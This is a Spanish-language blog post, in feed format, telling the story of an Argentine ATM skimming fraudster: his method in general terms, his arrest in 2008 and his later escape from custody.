&lt;b&gt;Fernando Gabriel Pereiro&lt;/b&gt;, denominado &quot;El rey de los robos a los cajeros automáticos&quot;.&lt;br /&gt;Este delincuente de 31 años, inicio su carrera criminal a los 23. En ese momento clonaba tarjetas de credito de American Express, las cuales vendía y/o utilizaba para sus propios fines. Para ello, se habia valido de un dispositivo que copiaba la banda magnética del plastico original.&lt;br /&gt;&lt;br /&gt;Con el correr de los años, Fernando perfecciono su sistema de estafa para igualarlo con los sistemas que ya se usaban en Brasil y en otras partes del mundo, fraude conocido como &lt;a href=&quot;http://es.wikipedia.org/wiki/Skimming_%28fraude%29&quot;&gt;&lt;b&gt;Skimming&lt;/b&gt;&lt;/a&gt;. Este contaba con un falso teclado que registraba y guardaba las claves, y un dispositivo que se instalaba en la ranura donde se ingresa la tarjeta para copiar la banda magnética de la misma. Solo quedaba instalar los dispositivos, dejar pasar el tiempo, y luego ingresar una tarjeta virgen para cargar los datos que habían sido guardados y utilizarlos para su enriquecimiento personal.&lt;br /&gt;&lt;br /&gt;El problema que tenían -y tienen- las autoridades con este sistema, es que era casi imposible saber donde los datos habían sido clonados. Dado esto, las autoridades tuvieron que disponer de un equipo especial para recibir las solicitudes y quejas de las victimas, para de esta forma tener una noción de la zona en la cual Fernando Pereiro estaba &lt;i&gt;trabajando&lt;/i&gt;. &lt;br /&gt;&lt;br /&gt;Las primeras pistas comenzaron a aparecer en septiembre del 2005. Fernando había instalado su sistema en un cajero ubicado en las inmediaciones de los tribunales de San Nicolas, en donde pudo reunir unas 974 claves y hacerse de 250 mil pesos. En la lista de victimas se encontraba un juez, funcionarios de la Justicia, policías y hasta un sacerdote.&lt;br /&gt;Según el reporte de Migraciones, Fernando viajo con su familia a Europa y Medio Oriente, poco se sabe si fue viaje de &lt;i&gt;negocios&lt;/i&gt; o de placer.&lt;br /&gt;A su regreso, volvio a sus respectivas actividades delictivas. &lt;br /&gt;&lt;br /&gt;Como la mayoría de delincuentes de este tipo, por suerte cometen errores. Errores que por su simpleza nos hacen pensar que tal vez no sean tan inteligentes como uno piensa, o peor aun, que se sientan impunes.&lt;br /&gt;Fernando tenia una pasión y un gusto bastante exacerbado por los vehículos de alta categoría. Esto lo llevo a adquirir una camioneta 4x4 Lincoln Navigator.&lt;br /&gt;Tal vez, el razonamiento que lo llevo a moverse en un vehículo tan exclusivo fue el pensar que al ser tan caro iba a llamar menos la atención, pero lamentablemente para el fue todo lo contrario.&lt;br /&gt;&lt;br /&gt;Los investigadores ya lo tenían en la mira, y se habían enterado de la adquisición de esta camioneta. El resultado fue un espectro de vehículos a buscar mucho, muchísimo, mas estrecho, ya que solo había 4 camionetas iguales en el país. &lt;br /&gt;El 8 de diciembre de 2008, un móvil de la Comisaría 16ª advirtió el paso  de su 4x4 e inició una persecución que terminó en la esquina de Brasil y  Tacuarí, en el barrio porteño de Monserrat. Fernando Pereiro se estrelló contra  un poste y fue detenido. &lt;br /&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_i-43lFP4TnI/TNH-pTgnAWI/AAAAAAAAAE4/PADTp2qZTa8/s1600/atrap.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://4.bp.blogspot.com/_i-43lFP4TnI/TNH-pTgnAWI/AAAAAAAAAE4/PADTp2qZTa8/s320/atrap.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Fernando Gabriel Pereiro atrapado. Clarin.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Todo apuntaba a que su carrera criminal había terminado, pero 1 año después, fingió una dolencia pulmonar que obligo a que sea trasladado al &lt;b&gt;Hospital Argerich&lt;/b&gt;, donde pudo fugarse. &lt;br /&gt;10 meses transcurrieron desde su fuga, pero recién trascendió esta semana, cuando la División de Delitos Bancarios pidió su captura internacional.&lt;br /&gt;&lt;br /&gt;Se investiga si los guardias que lo trasladaron al hospital tuvieron que ver en su fuga, pero la duda principal es porque se tardo tanto en dar el alerta y pedir su captura.&lt;br /&gt;Hoy por hoy, 10 meses después, Fernando Gabriel Pereiro pudo haber cambiado de apariencia, haber viajado a la otra punta del mundo, e incluso instalado su sistema de fraude en otros cajeros automáticos. Por supuesto, tuvo -y tiene- tiempo suficiente para perfeccionarlo.&lt;br /&gt;Historia de un delincuente de guante blanco, que mantiene en vilo a la justicia Argentina desde hace 5 años.</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/9028258449107551194/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/historias-el-rey-de-los-cajeros.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/9028258449107551194'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/9028258449107551194'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/historias-el-rey-de-los-cajeros.html' title='[Historias] El rey de los cajeros.'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_i-43lFP4TnI/TNH8_bwFPBI/AAAAAAAAAEs/SYvZtc_VinQ/s72-c/a72f03_robocajero.jpg" height="72" width="72"/><thr:total>1</thr:total></entry></feed>